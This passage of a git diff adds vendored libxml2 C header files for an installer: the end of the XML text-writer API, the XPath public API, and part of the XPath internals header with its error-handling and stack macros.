XMLPUBFUN int XMLCALL xmlTextWriterStartCDATA(xmlTextWriterPtr writer); + XMLPUBFUN int XMLCALL xmlTextWriterEndCDATA(xmlTextWriterPtr writer); + +/* + * CDATA conveniency functions + */ + XMLPUBFUN int XMLCALL + xmlTextWriterWriteFormatCDATA(xmlTextWriterPtr writer, + const char *format, ...) + LIBXML_ATTR_FORMAT(2,3); + XMLPUBFUN int XMLCALL + xmlTextWriterWriteVFormatCDATA(xmlTextWriterPtr writer, + const char *format, va_list argptr) + LIBXML_ATTR_FORMAT(2,0); + XMLPUBFUN int XMLCALL + xmlTextWriterWriteCDATA(xmlTextWriterPtr writer, + const xmlChar * content); + +/* + * DTD + */ + XMLPUBFUN int XMLCALL + xmlTextWriterStartDTD(xmlTextWriterPtr writer, + const xmlChar * name, + const xmlChar * pubid, + const xmlChar * sysid); + XMLPUBFUN int XMLCALL xmlTextWriterEndDTD(xmlTextWriterPtr writer); + +/* + * DTD conveniency functions + */ + XMLPUBFUN int XMLCALL + xmlTextWriterWriteFormatDTD(xmlTextWriterPtr writer, + const xmlChar * name, + const xmlChar * pubid, + const xmlChar * sysid, + const char *format, ...) + LIBXML_ATTR_FORMAT(5,6); + XMLPUBFUN int XMLCALL + xmlTextWriterWriteVFormatDTD(xmlTextWriterPtr writer, + const xmlChar * name, + const xmlChar * pubid, + const xmlChar * sysid, + const char *format, va_list argptr) + LIBXML_ATTR_FORMAT(5,0); + XMLPUBFUN int XMLCALL + xmlTextWriterWriteDTD(xmlTextWriterPtr writer, + const xmlChar * name, + const xmlChar * pubid, + const xmlChar * sysid, + const xmlChar * subset); + +/** + * xmlTextWriterWriteDocType: + * + * this macro maps to xmlTextWriterWriteDTD + */ +#define xmlTextWriterWriteDocType xmlTextWriterWriteDTD + +/* + * DTD element definition + */ + XMLPUBFUN int XMLCALL + xmlTextWriterStartDTDElement(xmlTextWriterPtr writer, + const xmlChar * name); + XMLPUBFUN int XMLCALL xmlTextWriterEndDTDElement(xmlTextWriterPtr + writer); + +/* + * DTD element definition conveniency functions + */ + XMLPUBFUN int XMLCALL + xmlTextWriterWriteFormatDTDElement(xmlTextWriterPtr writer, + const xmlChar * name, + const char *format, ...) + LIBXML_ATTR_FORMAT(3,4); + XMLPUBFUN int XMLCALL + xmlTextWriterWriteVFormatDTDElement(xmlTextWriterPtr writer, + const xmlChar * name, + const char *format, + va_list argptr) + LIBXML_ATTR_FORMAT(3,0); + XMLPUBFUN int XMLCALL xmlTextWriterWriteDTDElement(xmlTextWriterPtr + writer, + const xmlChar * + name, + const xmlChar * + content); + +/* + * DTD attribute list definition + */ + XMLPUBFUN int XMLCALL + xmlTextWriterStartDTDAttlist(xmlTextWriterPtr writer, + const xmlChar * name); + XMLPUBFUN int XMLCALL xmlTextWriterEndDTDAttlist(xmlTextWriterPtr + writer); + +/* + * DTD attribute list definition conveniency functions + */ + XMLPUBFUN int XMLCALL + xmlTextWriterWriteFormatDTDAttlist(xmlTextWriterPtr writer, + const xmlChar * name, + const char *format, ...) + LIBXML_ATTR_FORMAT(3,4); + XMLPUBFUN int XMLCALL + xmlTextWriterWriteVFormatDTDAttlist(xmlTextWriterPtr writer, + const xmlChar * name, + const char *format, + va_list argptr) + LIBXML_ATTR_FORMAT(3,0); + XMLPUBFUN int XMLCALL xmlTextWriterWriteDTDAttlist(xmlTextWriterPtr + writer, + const xmlChar * + name, + const xmlChar * + content); + +/* + * DTD entity definition + */ + XMLPUBFUN int XMLCALL + xmlTextWriterStartDTDEntity(xmlTextWriterPtr writer, + int pe, const xmlChar * name); + XMLPUBFUN int XMLCALL xmlTextWriterEndDTDEntity(xmlTextWriterPtr + writer); + +/* + * DTD entity definition conveniency functions + */ + XMLPUBFUN int XMLCALL + xmlTextWriterWriteFormatDTDInternalEntity(xmlTextWriterPtr writer, + int pe, + const xmlChar * name, + const char *format, ...) + LIBXML_ATTR_FORMAT(4,5); + XMLPUBFUN int XMLCALL + xmlTextWriterWriteVFormatDTDInternalEntity(xmlTextWriterPtr writer, + int pe, + const xmlChar * name, + const char *format, + va_list argptr) + LIBXML_ATTR_FORMAT(4,0); + XMLPUBFUN int XMLCALL + xmlTextWriterWriteDTDInternalEntity(xmlTextWriterPtr writer, + int pe, + const xmlChar * name, + const xmlChar * content); + XMLPUBFUN int XMLCALL + xmlTextWriterWriteDTDExternalEntity(xmlTextWriterPtr writer, + int pe, + const xmlChar * name, + const xmlChar * pubid, + const xmlChar * sysid, + const xmlChar * ndataid); + XMLPUBFUN int XMLCALL + xmlTextWriterWriteDTDExternalEntityContents(xmlTextWriterPtr + writer, + const xmlChar * pubid, + const xmlChar * sysid, + const xmlChar * + ndataid); + XMLPUBFUN int XMLCALL xmlTextWriterWriteDTDEntity(xmlTextWriterPtr + writer, int pe, + const xmlChar * name, + const xmlChar * + pubid, + const xmlChar * + sysid, + const xmlChar * + ndataid, + const xmlChar * + content); + +/* + * DTD notation definition + */ + XMLPUBFUN int XMLCALL + xmlTextWriterWriteDTDNotation(xmlTextWriterPtr writer, + const xmlChar * name, + const xmlChar * pubid, + const xmlChar * sysid); + +/* + * Indentation + */ + XMLPUBFUN int XMLCALL + xmlTextWriterSetIndent(xmlTextWriterPtr writer, int indent); + XMLPUBFUN int XMLCALL + xmlTextWriterSetIndentString(xmlTextWriterPtr writer, + const xmlChar * str); + + XMLPUBFUN int XMLCALL + xmlTextWriterSetQuoteChar(xmlTextWriterPtr writer, xmlChar quotechar); + + +/* + * misc + */ + XMLPUBFUN int XMLCALL xmlTextWriterFlush(xmlTextWriterPtr writer); + +#ifdef __cplusplus +} +#endif + +#endif /* LIBXML_WRITER_ENABLED */ + +#endif /* __XML_XMLWRITER_H__ */ diff --git a/installer/libxml2/include/libxml/xpath.h b/installer/libxml2/include/libxml/xpath.h new file mode 100644 index 0000000..d96776c --- /dev/null +++ b/installer/libxml2/include/libxml/xpath.h @@ -0,0 +1,557 @@ +/* + * Summary: XML Path Language implementation + * Description: API for the XML Path Language implementation + * + * XML Path Language implementation + * XPath is a language for addressing parts of an XML document, + * designed to be used by both XSLT and XPointer + * http://www.w3.org/TR/xpath + * + * Implements + * W3C Recommendation 16 November 1999 + * http://www.w3.org/TR/1999/REC-xpath-19991116 + * + * Copy: See Copyright for the status of this software. + * + * Author: Daniel Veillard + */ + +#ifndef __XML_XPATH_H__ +#define __XML_XPATH_H__ + +#include + +#ifdef LIBXML_XPATH_ENABLED + +#include +#include +#include +#endif /* LIBXML_XPATH_ENABLED */ + +#if defined(LIBXML_XPATH_ENABLED) || defined(LIBXML_SCHEMAS_ENABLED) +#ifdef __cplusplus +extern "C" { +#endif +#endif /* LIBXML_XPATH_ENABLED or LIBXML_SCHEMAS_ENABLED */ + +#ifdef LIBXML_XPATH_ENABLED + +typedef struct _xmlXPathContext xmlXPathContext; +typedef xmlXPathContext *xmlXPathContextPtr; +typedef struct _xmlXPathParserContext xmlXPathParserContext; +typedef xmlXPathParserContext *xmlXPathParserContextPtr; + +/** + * The set of XPath error codes. + */ + +typedef enum { + XPATH_EXPRESSION_OK = 0, + XPATH_NUMBER_ERROR, + XPATH_UNFINISHED_LITERAL_ERROR, + XPATH_START_LITERAL_ERROR, + XPATH_VARIABLE_REF_ERROR, + XPATH_UNDEF_VARIABLE_ERROR, + XPATH_INVALID_PREDICATE_ERROR, + XPATH_EXPR_ERROR, + XPATH_UNCLOSED_ERROR, + XPATH_UNKNOWN_FUNC_ERROR, + XPATH_INVALID_OPERAND, + XPATH_INVALID_TYPE, + XPATH_INVALID_ARITY, + XPATH_INVALID_CTXT_SIZE, + XPATH_INVALID_CTXT_POSITION, + XPATH_MEMORY_ERROR, + XPTR_SYNTAX_ERROR, + XPTR_RESOURCE_ERROR, + XPTR_SUB_RESOURCE_ERROR, + XPATH_UNDEF_PREFIX_ERROR, + XPATH_ENCODING_ERROR, + XPATH_INVALID_CHAR_ERROR, + XPATH_INVALID_CTXT, + XPATH_STACK_ERROR, + XPATH_FORBID_VARIABLE_ERROR +} xmlXPathError; + +/* + * A node-set (an unordered collection of nodes without duplicates). + */ +typedef struct _xmlNodeSet xmlNodeSet; +typedef xmlNodeSet *xmlNodeSetPtr; +struct _xmlNodeSet { + int nodeNr; /* number of nodes in the set */ + int nodeMax; /* size of the array as allocated */ + xmlNodePtr *nodeTab; /* array of nodes in no particular order */ + /* @@ with_ns to check wether namespace nodes should be looked at @@ */ +}; + +/* + * An expression is evaluated to yield an object, which + * has one of the following four basic types: + * - node-set + * - boolean + * - number + * - string + * + * @@ XPointer will add more types ! + */ + +typedef enum { + XPATH_UNDEFINED = 0, + XPATH_NODESET = 1, + XPATH_BOOLEAN = 2, + XPATH_NUMBER = 3, + XPATH_STRING = 4, + XPATH_POINT = 5, + XPATH_RANGE = 6, + XPATH_LOCATIONSET = 7, + XPATH_USERS = 8, + XPATH_XSLT_TREE = 9 /* An XSLT value tree, non modifiable */ +} xmlXPathObjectType; + +typedef struct _xmlXPathObject xmlXPathObject; +typedef xmlXPathObject *xmlXPathObjectPtr; +struct _xmlXPathObject { + xmlXPathObjectType type; + xmlNodeSetPtr nodesetval; + int boolval; + double floatval; + xmlChar *stringval; + void *user; + int index; + void *user2; + int index2; +}; + +/** + * xmlXPathConvertFunc: + * @obj: an XPath object + * @type: the number of the target type + * + * A conversion function is associated to a type and used to cast + * the new type to primitive values. + * + * Returns -1 in case of error, 0 otherwise + */ +typedef int (*xmlXPathConvertFunc) (xmlXPathObjectPtr obj, int type); + +/* + * Extra type: a name and a conversion function. + */ + +typedef struct _xmlXPathType xmlXPathType; +typedef xmlXPathType *xmlXPathTypePtr; +struct _xmlXPathType { + const xmlChar *name; /* the type name */ + xmlXPathConvertFunc func; /* the conversion function */ +}; + +/* + * Extra variable: a name and a value. + */ + +typedef struct _xmlXPathVariable xmlXPathVariable; +typedef xmlXPathVariable *xmlXPathVariablePtr; +struct _xmlXPathVariable { + const xmlChar *name; /* the variable name */ + xmlXPathObjectPtr value; /* the value */ +}; + +/** + * xmlXPathEvalFunc: + * @ctxt: an XPath parser context + * @nargs: the number of arguments passed to the function + * + * An XPath evaluation function, the parameters are on the XPath context stack. + */ + +typedef void (*xmlXPathEvalFunc)(xmlXPathParserContextPtr ctxt, + int nargs); + +/* + * Extra function: a name and a evaluation function. + */ + +typedef struct _xmlXPathFunct xmlXPathFunct; +typedef xmlXPathFunct *xmlXPathFuncPtr; +struct _xmlXPathFunct { + const xmlChar *name; /* the function name */ + xmlXPathEvalFunc func; /* the evaluation function */ +}; + +/** + * xmlXPathAxisFunc: + * @ctxt: the XPath interpreter context + * @cur: the previous node being explored on that axis + * + * An axis traversal function. To traverse an axis, the engine calls + * the first time with cur == NULL and repeat until the function returns + * NULL indicating the end of the axis traversal. + * + * Returns the next node in that axis or NULL if at the end of the axis. + */ + +typedef xmlXPathObjectPtr (*xmlXPathAxisFunc) (xmlXPathParserContextPtr ctxt, + xmlXPathObjectPtr cur); + +/* + * Extra axis: a name and an axis function. + */ + +typedef struct _xmlXPathAxis xmlXPathAxis; +typedef xmlXPathAxis *xmlXPathAxisPtr; +struct _xmlXPathAxis { + const xmlChar *name; /* the axis name */ + xmlXPathAxisFunc func; /* the search function */ +}; + +/** + * xmlXPathFunction: + * @ctxt: the XPath interprestation context + * @nargs: the number of arguments + * + * An XPath function. + * The arguments (if any) are popped out from the context stack + * and the result is pushed on the stack. + */ + +typedef void (*xmlXPathFunction) (xmlXPathParserContextPtr ctxt, int nargs); + +/* + * Function and Variable Lookup. + */ + +/** + * xmlXPathVariableLookupFunc: + * @ctxt: an XPath context + * @name: name of the variable + * @ns_uri: the namespace name hosting this variable + * + * Prototype for callbacks used to plug variable lookup in the XPath + * engine. + * + * Returns the XPath object value or NULL if not found. + */ +typedef xmlXPathObjectPtr (*xmlXPathVariableLookupFunc) (void *ctxt, + const xmlChar *name, + const xmlChar *ns_uri); + +/** + * xmlXPathFuncLookupFunc: + * @ctxt: an XPath context + * @name: name of the function + * @ns_uri: the namespace name hosting this function + * + * Prototype for callbacks used to plug function lookup in the XPath + * engine. + * + * Returns the XPath function or NULL if not found. + */ +typedef xmlXPathFunction (*xmlXPathFuncLookupFunc) (void *ctxt, + const xmlChar *name, + const xmlChar *ns_uri); + +/** + * xmlXPathFlags: + * Flags for XPath engine compilation and runtime + */ +/** + * XML_XPATH_CHECKNS: + * + * check namespaces at compilation + */ +#define XML_XPATH_CHECKNS (1<<0) +/** + * XML_XPATH_NOVAR: + * + * forbid variables in expression + */ +#define XML_XPATH_NOVAR (1<<1) + +/** + * xmlXPathContext: + * + * Expression evaluation occurs with respect to a context. + * he context consists of: + * - a node (the context node) + * - a node list (the context node list) + * - a set of variable bindings + * - a function library + * - the set of namespace declarations in scope for the expression + * Following the switch to hash tables, this need to be trimmed up at + * the next binary incompatible release. + * The node may be modified when the context is passed to libxml2 + * for an XPath evaluation so you may need to initialize it again + * before the next call. + */ + +struct _xmlXPathContext { + xmlDocPtr doc; /* The current document */ + xmlNodePtr node; /* The current node */ + + int nb_variables_unused; /* unused (hash table) */ + int max_variables_unused; /* unused (hash table) */ + xmlHashTablePtr varHash; /* Hash table of defined variables */ + + int nb_types; /* number of defined types */ + int max_types; /* max number of types */ + xmlXPathTypePtr types; /* Array of defined types */ + + int nb_funcs_unused; /* unused (hash table) */ + int max_funcs_unused; /* unused (hash table) */ + xmlHashTablePtr funcHash; /* Hash table of defined funcs */ + + int nb_axis; /* number of defined axis */ + int max_axis; /* max number of axis */ + xmlXPathAxisPtr axis; /* Array of defined axis */ + + /* the namespace nodes of the context node */ + xmlNsPtr *namespaces; /* Array of namespaces */ + int nsNr; /* number of namespace in scope */ + void *user; /* function to free */ + + /* extra variables */ + int contextSize; /* the context size */ + int proximityPosition; /* the proximity position */ + + /* extra stuff for XPointer */ + int xptr; /* is this an XPointer context? */ + xmlNodePtr here; /* for here() */ + xmlNodePtr origin; /* for origin() */ + + /* the set of namespace declarations in scope for the expression */ + xmlHashTablePtr nsHash; /* The namespaces hash table */ + xmlXPathVariableLookupFunc varLookupFunc;/* variable lookup func */ + void *varLookupData; /* variable lookup data */ + + /* Possibility to link in an extra item */ + void *extra; /* needed for XSLT */ + + /* The function name and URI when calling a function */ + const xmlChar *function; + const xmlChar *functionURI; + + /* function lookup function and data */ + xmlXPathFuncLookupFunc funcLookupFunc;/* function lookup func */ + void *funcLookupData; /* function lookup data */ + + /* temporary namespace lists kept for walking the namespace axis */ + xmlNsPtr *tmpNsList; /* Array of namespaces */ + int tmpNsNr; /* number of namespaces in scope */ + + /* error reporting mechanism */ + void *userData; /* user specific data block */ + xmlStructuredErrorFunc error; /* the callback in case of errors */ + xmlError lastError; /* the last error */ + xmlNodePtr debugNode; /* the source node XSLT */ + + /* dictionary */ + xmlDictPtr dict; /* dictionary if any */ + + int flags; /* flags to control compilation */ + + /* Cache for reusal of XPath objects */ + void *cache; +}; + +/* + * The structure of a compiled expression form is not public. + */ + +typedef struct _xmlXPathCompExpr xmlXPathCompExpr; +typedef xmlXPathCompExpr *xmlXPathCompExprPtr; + +/** + * xmlXPathParserContext: + * + * An XPath parser context. It contains pure parsing informations, + * an xmlXPathContext, and the stack of objects. + */ +struct _xmlXPathParserContext { + const xmlChar *cur; /* the current char being parsed */ + const xmlChar *base; /* the full expression */ + + int error; /* error code */ + + xmlXPathContextPtr context; /* the evaluation context */ + xmlXPathObjectPtr value; /* the current value */ + int valueNr; /* number of values stacked */ + int valueMax; /* max number of values stacked */ + xmlXPathObjectPtr *valueTab; /* stack of values */ + + xmlXPathCompExprPtr comp; /* the precompiled expression */ + int xptr; /* it this an XPointer expression */ + xmlNodePtr ancestor; /* used for walking preceding axis */ + + int valueFrame; /* used to limit Pop on the stack */ +}; + +/************************************************************************ + * * + * Public API * + * * + ************************************************************************/ + +/** + * Objects and Nodesets handling + */ + +XMLPUBVAR double xmlXPathNAN; +XMLPUBVAR double xmlXPathPINF; +XMLPUBVAR double xmlXPathNINF; + +/* These macros may later turn into functions */ +/** + * xmlXPathNodeSetGetLength: + * @ns: a node-set + * + * Implement a functionality similar to the DOM NodeList.length. + * + * Returns the number of nodes in the node-set. + */ +#define xmlXPathNodeSetGetLength(ns) ((ns) ? (ns)->nodeNr : 0) +/** + * xmlXPathNodeSetItem: + * @ns: a node-set + * @index: index of a node in the set + * + * Implements a functionality similar to the DOM NodeList.item(). + * + * Returns the xmlNodePtr at the given @index in @ns or NULL if + * @index is out of range (0 to length-1) + */ +#define xmlXPathNodeSetItem(ns, index) \ + ((((ns) != NULL) && \ + ((index) >= 0) && ((index) < (ns)->nodeNr)) ? \ + (ns)->nodeTab[(index)] \ + : NULL) +/** + * xmlXPathNodeSetIsEmpty: + * @ns: a node-set + * + * Checks whether @ns is empty or not. + * + * Returns %TRUE if @ns is an empty node-set. + */ +#define xmlXPathNodeSetIsEmpty(ns) \ + (((ns) == NULL) || ((ns)->nodeNr == 0) || ((ns)->nodeTab == NULL)) + + +XMLPUBFUN void XMLCALL + xmlXPathFreeObject (xmlXPathObjectPtr obj); +XMLPUBFUN xmlNodeSetPtr XMLCALL + xmlXPathNodeSetCreate (xmlNodePtr val); +XMLPUBFUN void XMLCALL + xmlXPathFreeNodeSetList (xmlXPathObjectPtr obj); +XMLPUBFUN void XMLCALL + xmlXPathFreeNodeSet (xmlNodeSetPtr obj); +XMLPUBFUN xmlXPathObjectPtr XMLCALL + xmlXPathObjectCopy (xmlXPathObjectPtr val); +XMLPUBFUN int XMLCALL + xmlXPathCmpNodes (xmlNodePtr node1, + xmlNodePtr node2); +/** + * Conversion functions to basic types. + */ +XMLPUBFUN int XMLCALL + xmlXPathCastNumberToBoolean (double val); +XMLPUBFUN int XMLCALL + xmlXPathCastStringToBoolean (const xmlChar * val); +XMLPUBFUN int XMLCALL + xmlXPathCastNodeSetToBoolean(xmlNodeSetPtr ns); +XMLPUBFUN int XMLCALL + xmlXPathCastToBoolean (xmlXPathObjectPtr val); + +XMLPUBFUN double XMLCALL + xmlXPathCastBooleanToNumber (int val); +XMLPUBFUN double XMLCALL + xmlXPathCastStringToNumber (const xmlChar * val); +XMLPUBFUN double XMLCALL + xmlXPathCastNodeToNumber (xmlNodePtr node); +XMLPUBFUN double XMLCALL + xmlXPathCastNodeSetToNumber (xmlNodeSetPtr ns); +XMLPUBFUN double XMLCALL + xmlXPathCastToNumber (xmlXPathObjectPtr val); + +XMLPUBFUN xmlChar * XMLCALL + xmlXPathCastBooleanToString (int val); +XMLPUBFUN xmlChar * XMLCALL + xmlXPathCastNumberToString (double val); +XMLPUBFUN xmlChar * XMLCALL + xmlXPathCastNodeToString (xmlNodePtr node); +XMLPUBFUN xmlChar * XMLCALL + xmlXPathCastNodeSetToString (xmlNodeSetPtr ns); +XMLPUBFUN xmlChar * XMLCALL + xmlXPathCastToString (xmlXPathObjectPtr val); + +XMLPUBFUN xmlXPathObjectPtr XMLCALL + xmlXPathConvertBoolean (xmlXPathObjectPtr val); +XMLPUBFUN xmlXPathObjectPtr XMLCALL + xmlXPathConvertNumber (xmlXPathObjectPtr val); +XMLPUBFUN xmlXPathObjectPtr XMLCALL + xmlXPathConvertString (xmlXPathObjectPtr val); + +/** + * Context handling. + */ +XMLPUBFUN xmlXPathContextPtr XMLCALL + xmlXPathNewContext (xmlDocPtr doc); +XMLPUBFUN void XMLCALL + xmlXPathFreeContext (xmlXPathContextPtr ctxt); +XMLPUBFUN int XMLCALL + xmlXPathContextSetCache(xmlXPathContextPtr ctxt, + int active, + int value, + int options); +/** + * Evaluation functions. + */ +XMLPUBFUN long XMLCALL + xmlXPathOrderDocElems (xmlDocPtr doc); +XMLPUBFUN int XMLCALL + xmlXPathSetContextNode (xmlNodePtr node, + xmlXPathContextPtr ctx); +XMLPUBFUN xmlXPathObjectPtr XMLCALL + xmlXPathNodeEval (xmlNodePtr node, + const xmlChar *str, + xmlXPathContextPtr ctx); +XMLPUBFUN xmlXPathObjectPtr XMLCALL + xmlXPathEval (const xmlChar *str, + xmlXPathContextPtr ctx); +XMLPUBFUN xmlXPathObjectPtr XMLCALL + xmlXPathEvalExpression (const xmlChar *str, + xmlXPathContextPtr ctxt); +XMLPUBFUN int XMLCALL + xmlXPathEvalPredicate (xmlXPathContextPtr ctxt, + xmlXPathObjectPtr res); +/** + * Separate compilation/evaluation entry points. + */ +XMLPUBFUN xmlXPathCompExprPtr XMLCALL + xmlXPathCompile (const xmlChar *str); +XMLPUBFUN xmlXPathCompExprPtr XMLCALL + xmlXPathCtxtCompile (xmlXPathContextPtr ctxt, + const xmlChar *str); +XMLPUBFUN xmlXPathObjectPtr XMLCALL + xmlXPathCompiledEval (xmlXPathCompExprPtr comp, + xmlXPathContextPtr ctx); +XMLPUBFUN int XMLCALL + xmlXPathCompiledEvalToBoolean(xmlXPathCompExprPtr comp, + xmlXPathContextPtr ctxt); +XMLPUBFUN void XMLCALL + xmlXPathFreeCompExpr (xmlXPathCompExprPtr comp); +#endif /* LIBXML_XPATH_ENABLED */ +#if defined(LIBXML_XPATH_ENABLED) || defined(LIBXML_SCHEMAS_ENABLED) +XMLPUBFUN void XMLCALL + xmlXPathInit (void); +XMLPUBFUN int XMLCALL + xmlXPathIsNaN (double val); +XMLPUBFUN int XMLCALL + xmlXPathIsInf (double val); + +#ifdef __cplusplus +} +#endif + +#endif /* LIBXML_XPATH_ENABLED or LIBXML_SCHEMAS_ENABLED*/ +#endif /* ! __XML_XPATH_H__ */ diff --git a/installer/libxml2/include/libxml/xpathInternals.h b/installer/libxml2/include/libxml/xpathInternals.h new file mode 100644 index 0000000..76a6b48 --- /dev/null +++ b/installer/libxml2/include/libxml/xpathInternals.h @@ -0,0 +1,632 @@ +/* + * Summary: internal interfaces for XML Path Language implementation + * Description: internal interfaces for XML Path Language implementation + * used to build new modules on top of XPath like XPointer and + * XSLT + * + * Copy: See Copyright for the status of this software. + * + * Author: Daniel Veillard + */ + +#ifndef __XML_XPATH_INTERNALS_H__ +#define __XML_XPATH_INTERNALS_H__ + +#include +#include + +#ifdef LIBXML_XPATH_ENABLED + +#ifdef __cplusplus +extern "C" { +#endif + +/************************************************************************ + * * + * Helpers * + * * + ************************************************************************/ + +/* + * Many of these macros may later turn into functions. They + * shouldn't be used in #ifdef's preprocessor instructions. + */ +/** + * xmlXPathSetError: + * @ctxt: an XPath parser context + * @err: an xmlXPathError code + * + * Raises an error. + */ +#define xmlXPathSetError(ctxt, err) \ + { xmlXPatherror((ctxt), __FILE__, __LINE__, (err)); \ + if ((ctxt) != NULL) (ctxt)->error = (err); } + +/** + * xmlXPathSetArityError: + * @ctxt: an XPath parser context + * + * Raises an XPATH_INVALID_ARITY error. + */ +#define xmlXPathSetArityError(ctxt) \ + xmlXPathSetError((ctxt), XPATH_INVALID_ARITY) + +/** + * xmlXPathSetTypeError: + * @ctxt: an XPath parser context + * + * Raises an XPATH_INVALID_TYPE error. + */ +#define xmlXPathSetTypeError(ctxt) \ + xmlXPathSetError((ctxt), XPATH_INVALID_TYPE) + +/** + * xmlXPathGetError: + * @ctxt: an XPath parser context + * + * Get the error code of an XPath context. + * + * Returns the context error. + */ +#define xmlXPathGetError(ctxt) ((ctxt)->error) + +/** + * xmlXPathCheckError: + * @ctxt: an XPath parser context + * + * Check if an XPath error was raised. + * + * Returns true if an error has been raised, false otherwise. + */ +#define xmlXPathCheckError(ctxt) ((ctxt)->error != XPATH_EXPRESSION_OK) + +/** + * xmlXPathGetDocument: + * @ctxt: an XPath parser context + * + * Get the document of an XPath context. + * + * Returns the context document. + */ +#define xmlXPathGetDocument(ctxt) ((ctxt)->context->doc) + +/** + * xmlXPathGetContextNode: + * @ctxt: an XPath parser context + * + * Get the context node of an XPath context. + * + * Returns the context node. + */ +#define xmlXPathGetContextNode(ctxt) ((ctxt)->context->node) + +XMLPUBFUN int XMLCALL + xmlXPathPopBoolean (xmlXPathParserContextPtr ctxt); +XMLPUBFUN double XMLCALL + xmlXPathPopNumber (xmlXPathParserContextPtr ctxt); +XMLPUBFUN xmlChar * XMLCALL + xmlXPathPopString (xmlXPathParserContextPtr ctxt); +XMLPUBFUN xmlNodeSetPtr XMLCALL + xmlXPathPopNodeSet (xmlXPathParserContextPtr ctxt); +XMLPUBFUN void * XMLCALL + xmlXPathPopExternal (xmlXPathParserContextPtr ctxt); + +/** + * xmlXPathReturnBoolean: + * @ctxt: an XPath parser context + * @val: a boolean + * + * Pushes the boolean @val on the context stack. + */ +#define xmlXPathReturnBoolean(ctxt, val) \ + valuePush((ctxt), xmlXPathNewBoolean(val)) + +/** + * xmlXPathReturnTrue: + * @ctxt: an XPath parser context + * + * Pushes true on the context stack. + */ +#define xmlXPathReturnTrue(ctxt) xmlXPathReturnBoolean((ctxt), 1) + +/** + * xmlXPathReturnFalse: + * @ctxt: an XPath parser context + * + * Pushes false on the context stack. + */ +#define xmlXPathReturnFalse(ctxt) xmlXPathReturnBoolean((ctxt), 0) + +/** + * xmlXPathReturnNumber: + * @ctxt: an XPath parser context + * @val: a double + * + * Pushes the double @val on the context stack. + */ +#define xmlXPathReturnNumber(ctxt, val) \ + valuePush((ctxt), xmlXPathNewFloat(val)) + +/** + * xmlXPathReturnString: + * @ctxt: an XPath parser context + * @str: a string + * + * Pushes the string @str on the context stack. + */ +#define xmlXPathReturnString(ctxt, str) \ + valuePush((ctxt), xmlXPathWrapString(str)) + +/** + * xmlXPathReturnEmptyString: + * @ctxt: an XPath parser context + * + * Pushes an empty string on the stack. + */ +#define xmlXPathReturnEmptyString(ctxt) \ + valuePush((ctxt), xmlXPathNewCString("")) + +/** + * xmlXPathReturnNodeSet: + * @ctxt: an XPath parser context + * @ns: a node-set + * + * Pushes the node-set @ns on the context stack. + */ +#define xmlXPathReturnNodeSet(ctxt, ns) \ + valuePush((ctxt), xmlXPathWrapNodeSet(ns)) + +/** + * xmlXPathReturnEmptyNodeSet: + * @ctxt: an XPath parser context + * + * Pushes an empty node-set on the context stack. + */ +#define xmlXPathReturnEmptyNodeSet(ctxt) \ + valuePush((ctxt), xmlXPathNewNodeSet(NULL)) + +/** + * xmlXPathReturnExternal: + * @ctxt: an XPath parser context + * @val: user data + * + * Pushes user data on the context stack. + */ +#define xmlXPathReturnExternal(ctxt, val) \ + valuePush((ctxt), xmlXPathWrapExternal(val)) + +/** + * xmlXPathStackIsNodeSet: + * @ctxt: an XPath parser context + * + * Check if the current value on the XPath stack is a node set or + * an XSLT value tree. + * + * Returns true if the current object on the stack is a node-set. + */ +#define xmlXPathStackIsNodeSet(ctxt) \ + (((ctxt)->value != NULL) \ + && (((ctxt)->value->type == XPATH_NODESET) \ + || ((ctxt)->value->type == XPATH_XSLT_TREE))) + +/** + * xmlXPathStackIsExternal: + * @ctxt: an XPath parser context + * + * Checks if the current value on the XPath stack is an external + * object. + * + * Returns true if the current object on the stack is an external + * object. + */ +#define xmlXPathStackIsExternal(ctxt) \ + ((ctxt->value != NULL) && (ctxt->value->type == XPATH_USERS)) + +/** + * xmlXPathEmptyNodeSet: + * @ns: a node-set + * + * Empties a node-set. + */ +#define xmlXPathEmptyNodeSet(ns) \ + { while ((ns)->nodeNr > 0) (ns)->nodeTab[--(ns)->nodeNr] = NULL; } + +/** + * CHECK_ERROR: + * + * Macro to return from the function if an XPath error was detected. + */ +#define CHECK_ERROR \ + if (ctxt->error != XPATH_EXPRESSION_OK) return + +/** + * CHECK_ERROR0: + * + * Macro to return 0 from the function if an XPath error was detected. + */ +#define CHECK_ERROR0 \ + if (ctxt->error != XPATH_EXPRESSION_OK) return(0) + +/** + * XP_ERROR: + * @X: the error code + * + * Macro to raise an XPath error and return. + */ +#define XP_ERROR(X) \ + { xmlXPathErr(ctxt, X); return; } + +/** + * XP_ERROR0: + * @X: the error code + * + * Macro to raise an XPath error and return 0. + */ +#define XP_ERROR0(X) \ + { xmlXPathErr(ctxt, X); return(0); } + +/** + * CHECK_TYPE: + * @typeval: the XPath type + * + * Macro to check that the value on top of the XPath stack is of a given + * type. + */ +#define CHECK_TYPE(typeval) \ + if ((ctxt->value == NULL) || (ctxt->value->type != typeval)) \ + XP_ERROR(XPATH_INVALID_TYPE) + +/** + * CHECK_TYPE0: + * @typeval: the XPath type + * + * Macro to check that the value on top of the XPath stack is of a given + * type. Return(0) in case of failure + */ +#define CHECK_TYPE0(typeval) \ + if ((ctxt->value == NULL) || (ctxt->value->type != typeval)) \ + XP_ERROR0(XPATH_INVALID_TYPE) + +/** + * CHECK_ARITY: + * @x: the number of expected args + * + * Macro to check that the number of args passed to an XPath function matches. + */ +#define CHECK_ARITY(x) \ + if (ctxt == NULL) return; \ + if (nargs != (x)) \ + XP_ERROR(XPATH_INVALID_ARITY); \ + if (ctxt->valueNr < ctxt->valueFrame + (x)) \ + XP_ERROR(XPATH_STACK_ERROR); + +/** + * CAST_TO_STRING: + * + * Macro to try to cast the value on the top of the XPath stack to a string. + */ +#define CAST_TO_STRING \ + if ((ctxt->value != NULL) && (ctxt->value->type != XPATH_STRING)) \ + xmlXPathStringFunction(ctxt, 1); + +/** + * CAST_TO_NUMBER: + * + * Macro to try to cast the value on the top of the XPath stack to a number. + */ +#define CAST_TO_NUMBER \ + if ((ctxt->value != NULL) && (ctxt->value->type != XPATH_NUMBER)) \ + xmlXPathNumberFunction(ctxt, 1); + +/** + * CAST_TO_BOOLEAN: + * + * Macro to try to cast the value on the top of the XPath stack to a boolean. + */ +#define CAST_TO_BOOLEAN \ + if ((ctxt->value != NULL) && (ctxt->value->type != XPATH_BOOLEAN)) \ + xmlXPathBooleanFunction(ctxt, 1); + +/* + * Variable Lookup forwarding. + */ + +XMLPUBFUN void XMLCALL + xmlXPathRegisterVariableLookup (xmlXPathContextPtr ctxt, + xmlXPathVariableLookupFunc f, + void 